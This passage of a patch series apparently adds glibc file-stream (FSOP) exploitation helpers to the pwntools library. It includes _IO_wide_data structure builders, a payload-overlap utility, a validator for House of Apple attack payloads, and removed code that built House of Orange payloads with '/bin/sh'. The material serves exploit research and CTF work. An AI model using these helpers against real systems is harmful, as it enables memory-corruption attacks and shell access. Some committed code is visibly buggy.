1:{name:'_IO_read_end',size:__length}, + 2:{name:'_IO_read_base',size:__length}, + 3:{name:'_IO_write_base',size:__length}, + 4:{name:'_IO_write_ptr',size:__length}, + 5:{name:'_IO_write_end',size:__length}, + 6:{name:'_IO_buf_base',size:__length}, + 7:{name:'_IO_buf_end',size:__length}, + 8:{name:'_IO_save_base',size:__length}, + 9:{name:'_IO_backup_base',size:__length}, + 10:{name:'_IO_save_end',size:__length}, + 11:{name:'_IO_state',size:8}, + 12:{name:'_IO_last_state',size:8}, + 13:{name:'_codecvt',size:0}, # 32b:0x48, 64b:0x70 + 14:{name:'_shortbuf',size:4}, + 15:{name:'_wide_vtable',size:__length} + } + + del name, size, __length + + + def update_var(self, l): + r""" + Since different members of the WideData structure have different sizes, we need to keep track of the sizes. The following function is used by the WideData class to initialise the lengths of the various fields. + + Arguments: + l(int) + l=8 for 'amd64' architecture and l=4 for 'i386' architecture + + Return Value: + Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set + + Examples: + + >>> wide = WideData() + >>> wide.update_var(8) + {'_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, '_IO_state': 8, '_IO_last_state': 8, '_codecvt': 112, '_shortbuf': 4, '_wide_vtable': 8} + """ + var={} + for i in self.variables: + var[self.variables[i]['name']]=self.variables[i]['size'] + for i in var: + if var[i]<=0: + var[i]+=l + if l==4: + var['_codecvt'] = 0x48 + else: + var['_codecvt'] = 0x70 + return var + + def __init__(self, null=0): - self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] + self.vars_ = [self.variables[i]['name'] for i in sorted(self.variables.keys())] self.setdefault(null) - self.length = update_var(context.bytes) - self._old_offset = (1 << context.bits) - 1 + self.length = self.update_var(context.bytes) def __setattr__(self,item,value): - if item in FileStructure.__dict__ or item in self.vars_: + if item in WideData.__dict__ or item in self.vars_: object.__setattr__(self,item,value) else: log.error("Unknown variable %r" % item) @@ -175,10 +161,9 @@ def __bytes__(self): structure = b'' for val in self.vars_: if isinstance(getattr(self, val), bytes): - structure += getattr(self, val).ljust(context.bytes, b'\x00') + structure += getattr(self, val).ljust(self.length[val], b'\x00') else: - if self.length[val] > 0: - structure += pack(getattr(self, val), self.length[val]*8) + structure += pack(getattr(self, val), self.length[val]*8) return structure def struntil(self,v): @@ -194,17 +179,17 @@ def struntil(self,v): Payload for data uptil _IO_buf_end >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.struntil("_IO_buf_end") + >>> wide = WideData(0xdeadbeef) + >>> payload = wide.struntil('_IO_buf_base') >>> payload - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' """ if v not in self.vars_: return b'' structure = b'' for val in self.vars_: if isinstance(getattr(self, val), bytes): - structure += getattr(self, val).ljust(context.bytes, b'\x00') + structure += getattr(self, val).ljust(self.length[val], b'\x00') else: structure += pack(getattr(self, val), self.length[val]*8) if val == v: @@ -212,120 +197,20 @@ def struntil(self,v): return structure[:-1] def setdefault(self,null): - self.flags=0 - self._IO_read_ptr=0 - self._IO_read_end=0 - self._IO_read_base=0 - self._IO_write_base=0 - self._IO_write_ptr=0 - self._IO_write_end=0 - self._IO_buf_base=0 - self._IO_buf_end=0 - self._IO_save_base=0 - self._IO_backup_base=0 - self._IO_save_end=0 - self.markers=0 - self.chain=0 - self.fileno=0 - self._flags2=0 - self._old_offset=0 - self._cur_column=0 - self._vtable_offset=0 - self._shortbuf=0 - self.unknown1=0 - self._lock=null - self._offset=0xffffffffffffffff - self._codecvt=0 - self._wide_data=null - self.unknown2=0 - self.vtable=0 - - def write(self,addr=0,size=0): - r""" - Writing data out from arbitrary memory address. - - Arguments: - addr(int) - The address from which data is to be printed to stdout - size(int) - The size, in bytes, of the data to be printed - - Example: - - Payload for writing 100 bytes to stdout from the address 0xcafebabe - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.write(addr=0xcafebabe, size=100) - >>> payload - b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' - """ - self.flags &=~8 - self.flags |=0x800 - self._IO_write_base = addr - self._IO_write_ptr = addr+size - self._IO_read_end = addr - self.fileno = 1 - return self.struntil('fileno') - - def read(self,addr=0,size=0): - r""" - Reading data into arbitrary memory location. - - Arguments: - addr(int) - The address into which data is to be written from stdin - size(int) - The size, in bytes, of the data to be written - - Example: - - Payload for reading 100 bytes from stdin into the address 0xcafebabe - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.read(addr=0xcafebabe, size=100) - >>> payload - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - """ - self.flags &=~4 - self._IO_read_base = 0 - self._IO_read_ptr = 0 - self._IO_buf_base = addr - self._IO_buf_end = addr+size - self.fileno = 0 - return self.struntil('fileno') - - def orange(self,io_list_all,vtable): - r""" - Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. - - Arguments: - io_list_all(int) - Address of _IO_list_all in libc. - vtable(int) - Address of the fake vtable in memory - - Example: - - Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) - >>> payload - b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' - """ - if context.bits == 64: - self.flags = b'/bin/sh\x00' - self._IO_read_ptr = 0x61 - self._IO_read_base = io_list_all-0x10 - elif context.bits == 32: - self.flags = b'sh\x00' - self._IO_read_ptr = 0x121 - self._IO_read_base = io_list_all-0x8 - self._IO_write_base = 0 - self._IO_write_ptr = 1 - self.vtable = vtable - return self.__bytes__() + self._IO_read_ptr = 0 + self._IO_read_end = 0 + self._IO_read_base = 0 + self._IO_write_base = 0 + self._IO_write_ptr = 0 + self._IO_write_end = 0 + self._IO_buf_base = 0 + self._IO_buf_end = 0 + self._IO_save_base = 0 + self._IO_backup_base = 0 + self._IO_save_end = 0 + self._IO_state = 0 + self._IO_last_state = 0 + self._codecvt = 0 + self._shortbuf = 0 + self._wide_vtable = null From 28a7e1e691c8f2dec20b12259bffbdaf53912cb5 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Sun, 11 Aug 2024 12:30:00 +0800 Subject: [PATCH 03/11] Fix: repr with bytes attrs in FILE --- pwnlib/file/filepointer.py | 6 +++++- pwnlib/file/jumptable.py | 5 ++++- pwnlib/file/widedata.py | 5 ++++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/pwnlib/file/filepointer.py b/pwnlib/file/filepointer.py index 8b05781e3..379b036b2 100644 --- a/pwnlib/file/filepointer.py +++ b/pwnlib/file/filepointer.py @@ -176,7 +176,11 @@ def __setattr__(self,item,value): def __repr__(self): structure=[] for i in self.vars_: - structure.append(" %s: %#x" % (i, getattr(self, i))) + e = getattr(self, i) + if isinstance(e, bytes): + structure.append(" %s: %s" % {i, e}) + else: + structure.append(" %s: %#x" % (i, e)) return "{"+ "\n".join(structure)+"}" def __len__(self): diff --git a/pwnlib/file/jumptable.py b/pwnlib/file/jumptable.py index 532962ea4..a628b93ce 100644 --- a/pwnlib/file/jumptable.py +++ b/pwnlib/file/jumptable.py @@ -144,7 +144,10 @@ def __setattr__(self,item,value): def __repr__(self): structure=[] for i in self.vars_: - structure.append(" %s: %#x" % (i, getattr(self, i))) + if isinstance(e, bytes): + structure.append(" %s: %s" % {i, e}) + else: + structure.append(" %s: %#x" % (i, e)) return "{"+ "\n".join(structure)+"}" def __len__(self): diff --git a/pwnlib/file/widedata.py b/pwnlib/file/widedata.py index 7e5b6eafb..f31fe68bb 100644 --- a/pwnlib/file/widedata.py +++ b/pwnlib/file/widedata.py @@ -151,7 +151,10 @@ def __setattr__(self,item,value): def __repr__(self): structure=[] for i in self.vars_: - structure.append(" %s: %#x" % (i, getattr(self, i))) + if isinstance(e, bytes): + structure.append(" %s: %s" % {i, e}) + else: + structure.append(" %s: %#x" % (i, e)) return "{"+ "\n".join(structure)+"}" def __len__(self): From f844d952a8e6483ded8add4080254da45579ce03 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Mon, 19 Aug 2024 16:44:53 +0800 Subject: [PATCH 04/11] Fix: add missing `e` assignment & using `{}` when printing `bytes` value --- pwnlib/file/filepointer.py | 2 +- pwnlib/file/jumptable.py | 3 ++- pwnlib/file/widedata.py | 3 ++- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/pwnlib/file/filepointer.py b/pwnlib/file/filepointer.py index 379b036b2..d2433468a 100644 --- a/pwnlib/file/filepointer.py +++ b/pwnlib/file/filepointer.py @@ -178,7 +178,7 @@ def __repr__(self): for i in self.vars_: e = getattr(self, i) if isinstance(e, bytes): - structure.append(" %s: %s" % {i, e}) + structure.append(" %s: %s" % (i, e)) else: structure.append(" %s: %#x" % (i, e)) return "{"+ "\n".join(structure)+"}" diff --git a/pwnlib/file/jumptable.py b/pwnlib/file/jumptable.py index a628b93ce..a523b4e7a 100644 --- a/pwnlib/file/jumptable.py +++ b/pwnlib/file/jumptable.py @@ -144,8 +144,9 @@ def __setattr__(self,item,value): def __repr__(self): structure=[] for i in self.vars_: + e = getattr(self, i) if isinstance(e, bytes): - structure.append(" %s: %s" % {i, e}) + structure.append(" %s: %s" % (i, e)) else: structure.append(" %s: %#x" % (i, e)) return "{"+ "\n".join(structure)+"}" diff --git a/pwnlib/file/widedata.py b/pwnlib/file/widedata.py index f31fe68bb..b8ae0641d 100644 --- a/pwnlib/file/widedata.py +++ b/pwnlib/file/widedata.py @@ -151,8 +151,9 @@ def __setattr__(self,item,value): def __repr__(self): structure=[] for i in self.vars_: + e = getattr(self, i) if isinstance(e, bytes): - structure.append(" %s: %s" % {i, e}) + structure.append(" %s: %s" % (i, e)) else: structure.append(" %s: %#x" % (i, e)) return "{"+ "\n".join(structure)+"}" From 958a7a9c7ff911af92ad2421b4ad2df910ada4c1 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Tue, 20 Aug 2024 18:26:57 +0800 Subject: [PATCH 05/11] Feat: new `overlap_structure` to combine structures together --- pwnlib/util/packing.py | 54 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) diff --git a/pwnlib/util/packing.py b/pwnlib/util/packing.py index 3503bd937..70f57aa89 100644 --- a/pwnlib/util/packing.py +++ b/pwnlib/util/packing.py @@ -1200,3 +1200,57 @@ def _decode(b): del op, size, end, sign del name, routine, mod + +def overlap_structure(*structs): + """overlap_structure(*structs: tuple[bytes_like]) -> bytes + + Unpacks bytes_like structures and overlap them up. Check the example + below for more detail. + + Parameters: + structs: ``str``, ``bytes`` and ``list[int]`` are all acceptable, + as long as the argument is "len-able", iterable and serving ints. + + Raises: + ValueError: 2 non-zero values on the same index. Carry `msg` of + conflicted indexes. + + Returns: + A bytes object with overlapped structure, whose length is the max length + in ``structs``. If there is only one argument, itself will be returned, + no matter what it is. + + Examples: + + >>> x = bytes.fromhex('41 42 43 44') + >>> y = '\0\0\0\0\0\0\0\0\0xyz' + >>> z = [0, 0, 0, 0, 33, 34, 35, 36] + >>> overlap_structure(x, y, z) + :1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes + b'ABCD!"#$\x00xyz' + >>> w = p32(0xbeef) + >>> overlap_structure(w, x, y, z) + Traceback (most recent call last): + ... + ValueError: Conflict values at index 0, 1 + """ + if len(structs) == 1: + return structs[0] + + maxlen = max(len(e) for e in structs) + final = [0] * maxlen + errs = [] + + for s in structs: + if isinstance(s, str): + s = _need_bytes(s) + for i, e in enumerate(s): + if e > 0: + if final[i]: + errs.append(i) + final[i] = e + + if errs: + raise ValueError('Conflict values at index %s' % str(errs)[1:-1]) + return bytes(final) + From b5a1ca8d19d585d34f48d51d3517e1020af99773 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Tue, 20 Aug 2024 21:03:07 +0800 Subject: [PATCH 06/11] Add proxy of filepointer; more robust overlap_structure --- pwnlib/filepointer.py | 2 ++ pwnlib/util/packing.py | 27 +++++++++++++-------------- 2 files changed, 15 insertions(+), 14 deletions(-) create mode 100644 pwnlib/filepointer.py diff --git a/pwnlib/filepointer.py b/pwnlib/filepointer.py new file mode 100644 index 000000000..7512936a6 --- /dev/null +++ b/pwnlib/filepointer.py @@ -0,0 +1,2 @@ +# This is a fallback support for filepointer mudule +from pwnlib.file.filepointer import * diff --git a/pwnlib/util/packing.py b/pwnlib/util/packing.py index 70f57aa89..5f03fc07d 100644 --- a/pwnlib/util/packing.py +++ b/pwnlib/util/packing.py @@ -1202,7 +1202,7 @@ def _decode(b): del name, routine, mod def overlap_structure(*structs): - """overlap_structure(*structs: tuple[bytes_like]) -> bytes + r"""overlap_structure(*structs: tuple[bytes_like]) -> bytes Unpacks bytes_like structures and overlap them up. Check the example below for more detail. @@ -1210,6 +1210,7 @@ def overlap_structure(*structs): Parameters: structs: ``str``, ``bytes`` and ``list[int]`` are all acceptable, as long as the argument is "len-able", iterable and serving ints. + Note ``str``s will be used as ``bytes`` object. Raises: ValueError: 2 non-zero values on the same index. Carry `msg` of @@ -1222,14 +1223,12 @@ def overlap_structure(*structs): Examples: - >>> x = bytes.fromhex('41 42 43 44') - >>> y = '\0\0\0\0\0\0\0\0\0xyz' - >>> z = [0, 0, 0, 0, 33, 34, 35, 36] + >>> x = p32(0x7ffffe30) + >>> y = [0, 0, 0, 0, 33, 34, 35, 36] + >>> overlap_structure(x, y) + b'0\xfe\xff\x7f!"#$' + >>> z = p32(0xbeef) >>> overlap_structure(x, y, z) - :1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes - b'ABCD!"#$\x00xyz' - >>> w = p32(0xbeef) - >>> overlap_structure(w, x, y, z) Traceback (most recent call last): ... ValueError: Conflict values at index 0, 1 @@ -1237,17 +1236,17 @@ def overlap_structure(*structs): if len(structs) == 1: return structs[0] - maxlen = max(len(e) for e in structs) + # convert str to bytes first to calc accurate length + itr = [_need_bytes(s) if isinstance(s, str) else s for s in structs] + maxlen = max(len(e) for e in itr) final = [0] * maxlen - errs = [] + errs = set() - for s in structs: - if isinstance(s, str): - s = _need_bytes(s) + for s in itr: for i, e in enumerate(s): if e > 0: if final[i]: - errs.append(i) + errs.add(i) final[i] = e if errs: From 8e5f43d32f6b1b87abc3801092d4f724d1940ed7 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Tue, 20 Aug 2024 22:07:06 +0800 Subject: [PATCH 07/11] fix doc and mv file to structs for future extensibility --- pwn/toplevel.py | 2 +- pwnlib/__init__.py | 2 +- pwnlib/file/__init__.py | 5 ----- pwnlib/filepointer.py | 3 ++- pwnlib/structs/__init__.py | 5 +++++ pwnlib/{file => structs}/filepointer.py | 0 pwnlib/{file => structs}/jumptable.py | 0 pwnlib/{file => structs}/widedata.py | 0 pwnlib/util/packing.py | 2 +- 9 files changed, 10 insertions(+), 9 deletions(-) delete mode 100644 pwnlib/file/__init__.py create mode 100644 pwnlib/structs/__init__.py rename pwnlib/{file => structs}/filepointer.py (100%) rename pwnlib/{file => structs}/jumptable.py (100%) rename pwnlib/{file => structs}/widedata.py (100%) diff --git a/pwn/toplevel.py b/pwn/toplevel.py index b95a642a8..d7351aa52 100644 --- a/pwn/toplevel.py +++ b/pwn/toplevel.py @@ -31,7 +31,7 @@ from pwnlib.exception import PwnlibException from pwnlib.gdb import attach, debug_assembly, debug_shellcode from pwnlib.filesystem import * -from pwnlib.file import * +from pwnlib.structs import * from pwnlib.flag import * from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split from pwnlib.log import getLogger diff --git a/pwnlib/__init__.py b/pwnlib/__init__.py index a6d4b85f7..e39741bcd 100644 --- a/pwnlib/__init__.py +++ b/pwnlib/__init__.py @@ -18,7 +18,7 @@ 'encoders', 'elf', 'exception', - 'file', + 'structs', 'fmtstr', 'gdb', 'libcdb', diff --git a/pwnlib/file/__init__.py b/pwnlib/file/__init__.py deleted file mode 100644 index 30c505aab..000000000 --- a/pwnlib/file/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -from __future__ import absolute_import - -from pwnlib.file.filepointer import * -from pwnlib.file.widedata import * -from pwnlib.file.jumptable import * diff --git a/pwnlib/filepointer.py b/pwnlib/filepointer.py index 7512936a6..6c448b941 100644 --- a/pwnlib/filepointer.py +++ b/pwnlib/filepointer.py @@ -1,2 +1,3 @@ +from __future__ import absolute_import # This is a fallback support for filepointer mudule -from pwnlib.file.filepointer import * +from pwnlib.structs.filepointer import * diff --git a/pwnlib/structs/__init__.py b/pwnlib/structs/__init__.py new file mode 100644 index 000000000..4500e08f7 --- /dev/null +++ b/pwnlib/structs/__init__.py @@ -0,0 +1,5 @@ +from __future__ import absolute_import + +from pwnlib.structs.filepointer import * +from pwnlib.structs.widedata import * +from pwnlib.structs.jumptable import * diff --git a/pwnlib/file/filepointer.py b/pwnlib/structs/filepointer.py similarity index 100% rename from pwnlib/file/filepointer.py rename to pwnlib/structs/filepointer.py diff --git a/pwnlib/file/jumptable.py b/pwnlib/structs/jumptable.py similarity index 100% rename from pwnlib/file/jumptable.py rename to pwnlib/structs/jumptable.py diff --git a/pwnlib/file/widedata.py b/pwnlib/structs/widedata.py similarity index 100% rename from pwnlib/file/widedata.py rename to pwnlib/structs/widedata.py diff --git a/pwnlib/util/packing.py b/pwnlib/util/packing.py index 5f03fc07d..615fd34bb 100644 --- a/pwnlib/util/packing.py +++ b/pwnlib/util/packing.py @@ -1210,7 +1210,7 @@ def overlap_structure(*structs): Parameters: structs: ``str``, ``bytes`` and ``list[int]`` are all acceptable, as long as the argument is "len-able", iterable and serving ints. - Note ``str``s will be used as ``bytes`` object. + Note ``str`` will be used as ``bytes`` object. Raises: ValueError: 2 non-zero values on the same index. Carry `msg` of From b6da2ff5365c015dccf26209a376f3b516e41145 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Wed, 19 Feb 2025 23:03:50 +0800 Subject: [PATCH 08/11] CHANGELOG: add pr first Merge remote dev to remove annoying Python 2 tests. Update CHANGELOG to stop CHANGELOG test failing. --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 14c118974..c563a8840 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -85,6 +85,7 @@ The table below shows which release corresponds to each branch, and what date th - [#2529][2529] Add LoongArch64 support - [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF - [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach` +- [#2442][2442] Add convenient exploit for `_IO_wide_data` [2519]: https://github.com/Gallopsled/pwntools/pull/2519 [2507]: https://github.com/Gallopsled/pwntools/pull/2507 @@ -97,6 +98,7 @@ The table below shows which release corresponds to each branch, and what date th [2529]: https://github.com/Gallopsled/pwntools/pull/2529 [2506]: https://github.com/Gallopsled/pwntools/pull/2506 [2504]: https://github.com/Gallopsled/pwntools/pull/2504 +[2442]: https://github.com/Gallopsled/pwntools/pull/2442 ## 4.15.0 (`beta`) From b1c0fa42ef548d1b6bfbe8bd31d67426fb444d09 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Sun, 2 Mar 2025 15:36:01 +0800 Subject: [PATCH 09/11] packing: use bytearray for overlap; add fsop check --- pwnlib/structs/__init__.py | 271 +++++++++++++++++++++++++++++++++++++ pwnlib/util/packing.py | 4 +- 2 files changed, 273 insertions(+), 2 deletions(-) diff --git a/pwnlib/structs/__init__.py b/pwnlib/structs/__init__.py index 4500e08f7..953941ca9 100644 --- a/pwnlib/structs/__init__.py +++ b/pwnlib/structs/__init__.py @@ -1,5 +1,276 @@ from __future__ import absolute_import +from enum import Enum + from pwnlib.structs.filepointer import * from pwnlib.structs.widedata import * from pwnlib.structs.jumptable import * +from pwnlib.util.packing import * + +class WideFSOPType(Enum): + APPLE2_OVERFLOW = 0x20 + APPLE2_MMAP = 0x21 + APPLE2_XSGETN = 0x22 + APPLE3_UNDERFLOW = 0x30 + APPLE3_MMAP = 0x31 + APPLE3_WRITE = 0x32 + APPLE3_SYNC = 0x33 + +class WideFSOPErrors(Enum): + FILE_FLAGS = 0 + FILE_READ_PTR = 1 + FILE_MODE = 2 + FILE_WRITE_PTR = 3 + FILE_WRITE_END = 4 + FILE_VTABLE = 5 + FILE_WIDE_DATA = 6 + FILE_CODECVT = 7 + WDATA_WRITE_BASE = 0x10 + WDATA_BUF_BASE = 0x11 + WDATA_READ_PTR = 0x12 + WDATA_SAVE_BASE = 0x13 + WDATA_WRITE_PTR = 0x14 + WDATA_VTABLE = 0x15 + VTABLE_DOALLOCATE = 0x20 + VTABLE_OVERFLOW = 0x21 + CODECVT_CDIN = 0x30 + CODECVT_CDOUT = 0x31 + CDSTEP_STATEFUL = 0x40 + CDSTEP_FCT = 0x41 + +def validate_wide_FSOP_payload(mode: WideFSOPType, payload: bytes, fileoff: int=None, + wideoff: int=None, jumpoff: int=None, codecvtoff: int=None, + cdstepoff: int=None, warn_level: str='warn') -> list[WideFSOPErrors]: + r"""validate_wide_FSOP_payload(mode: WideFSOPType, payload: bytes, + fileoff: int=None, wideoff: int=None, jumpoff: int=None, + codecvtoff: int=None, cdstepoff: int=None, warn_level: str='info') + -> list[WideFSOPErrors]: + A util function to validate if the payload matches exploit + conditions of an FSOP that exploits the ``_wide_data`` structure, + such as House of Apple. This will be useful if you have limited + bytes to write so you have to overlap structures but the default + payload can not meet some restrictions and you have to create a + specific payload. In this case, calling this function saves your + time to check manually. + + Parameter: + mode: One of enum values in WideFSOPType to determine how + to check the payload. + payload: The actual payload in FSOP part you want to send. + fileoff: The offset in ``int`` indicating where the FILE + starts in `payload`. For instance, if `payload` is just + a fake FILE, then `fileoff` should be ``0``. Set `fileoff` + to ``None`` if you want to skip the check for it. The + parameters below follows similar rules. + wideoff: The offset of WideData in FILE. See `fileoff`. + jumpoff: The offset of JumpTable in WideData. See `fileoff`. + codecvtoff: The offset of _codecvt in FILE. See `fileoff`. + cdstepoff: The offset of ``__cd_*.step`` in _codecvt. + See `fileoff`. + warn_level: A string of log level to output some extra info. + For instance, for ``WideFSOPType.APPLE2_XSGETN``, + ``rdx`` should NOT be ``0``. As we can not check rdx, + so we have to log to warn users that ``rdx`` need to + be checked. The default log level is `warn`. + + Return: + ``[]`` if all checks passed. If some checks fail, a list + of ``WideFSOPErrors`` enum values is returned. Basically + each enum is named according to the house of apple blog. + """ + length = len(payload) + amd64 = context.arch == 'amd64' + MAGIC = 0x100000 + log.setLevel(context.log_level) + logit = log.__getattribute__(warn_level) + + INT = 32 + PTR = 64 + def _check(goff: int, off64: int, off32: int, len64: int): + offword, lenword = off64, len64 if amd64 else off32, 32 + offset = goff + offword + return unpack(payload[offset:offset + lenword], lenword, sign=True) \ + if offset + lenword <= length \ + else -1 + + if mode is WideFSOPType.APPLE2_XSGETN: + logit('_IO_wdefault_xsgetn requires rdx to be 0!') + + errs = [] + if fileoff is not None: + if mode is WideFSOPType.APPLE2_OVERFLOW: + # flags + # -1 & any == any, so if structure is not long enough to + # check, this check will not pass + if _check(fileoff, 0, 0, INT) & (2 | 8 | 0x800): + errs.append(WideFSOPErrors.FILE_FLAGS) + elif mode is WideFSOPType.APPLE2_MMAP: + # flags + if _check(fileoff, 0, 0, INT) & 4: + errs.append(WideFSOPErrors.FILE_FLAGS) + # read ptr & read end + ptr = _check(fileoff, 8, 4, PTR) + end = _check(fileoff, 0x10, 0xc, PTR) + if ptr >= end or end == -1: + errs.append(WideFSOPErrors.FILE_READ_PTR) + elif mode is WideFSOPType.APPLE2_XSGETN: + # flags + flags = _check(fileoff, 0, 0, INT) + if flags == -1 or not flags & 0x800: + errs.append(WideFSOPErrors.FILE_FLAGS) + # mode + if _check(fileoff, 0xc0, 0x68, INT) <= 0: + errs.append(WideFSOPErrors.FILE_MODE) + elif mode is WideFSOPType.APPLE3_UNDERFLOW: + # flags + if _check(fileoff, 0, 0, INT) & (4 | 0x10): + errs.append(WideFSOPErrors.FILE_FLAGS) + # read ptr & read end + ptr = _check(fileoff, 8, 4, PTR) + end = _check(fileoff, 0x10, 0xc, PTR) + if ptr >= end or end == -1: + errs.append(WideFSOPErrors.FILE_READ_PTR) + elif mode is WideFSOPType.APPLE3_MMAP: + # flags + if _check(fileoff, 0, 0, INT) & 4: + errs.append(WideFSOPErrors.FILE_FLAGS) + # read ptr & read end + ptr = _check(fileoff, 8, 4, PTR) + end = _check(fileoff, 0x10, 0xc, PTR) + if ptr >= end or end == -1: + errs.append(WideFSOPErrors.FILE_READ_PTR) + elif mode is WideFSOPType.APPLE3_WRITE: + # write ptr & write base + if _check(fileoff, 0x28, 0x14, PTR) <= _check(fileoff, 0x20, 0x10, PTR): + errs.append(WideFSOPErrors.FILE_WRITE_PTR) + # mode + if _check(fileoff, 0xc0, 0x68, INT) <= 0: + errs.append(WideFSOPErrors.FILE_MODE) + # write end & write ptr; write end & write base + end = _check(fileoff, 0x30, 0x18, PTR) + if end == -1 or end == ptr and end != base: + errs.append(WideFSOPErrors.FILE_WRITE_END) + elif mode is WideFSOPType.APPLE3_SYNC: + # flags + if _check(fileoff, 0, 0, INT) & (4 | 0x10): + errs.append(WideFSOPErrors.FILE_FLAGS) + else: + raise AssertionError('No such mode in WideFSOPType') + # vtable + if _check(fileoff, 0xd8, 0x94, PTR) < MAGIC: + errs.append(WideFSOPErrors.FILE_VTABLE) + # wide data + if _check(fileoff, 0xa0, 0x58, PTR) < MAGIC: + errs.append(WideFSOPErrors.FILE_WIDE_DATA) + if 0x30 <= mode.value < 0x40: # only apple 3 need this check + # codecvt + if _check(fileoff, 0x98, 0x84, PTR) < MAGIC: + errs.append(WideFSOPErrors.FILE_CODECVT) + + if wideoff is not None: + if mode is WideFSOPType.APPLE2_OVERFLOW: + # write base + if _check(wideoff, 0x18, 0xc, PTR): + errs.append(WideFSOPErrors.WDATA_WRITE_BASE) + # buf base + if _check(wideoff, 0x30, 0x18, PTR): + errs.append(WideFSOPErrors.WDATA_BUF_BASE) + elif mode is WideFSOPType.APPLE2_MMAP: + # read ptr & read end + # if don't catch -1 here, it will still be catched under + if _check(wideoff, 0, 0, PTR) < _check(wideoff, 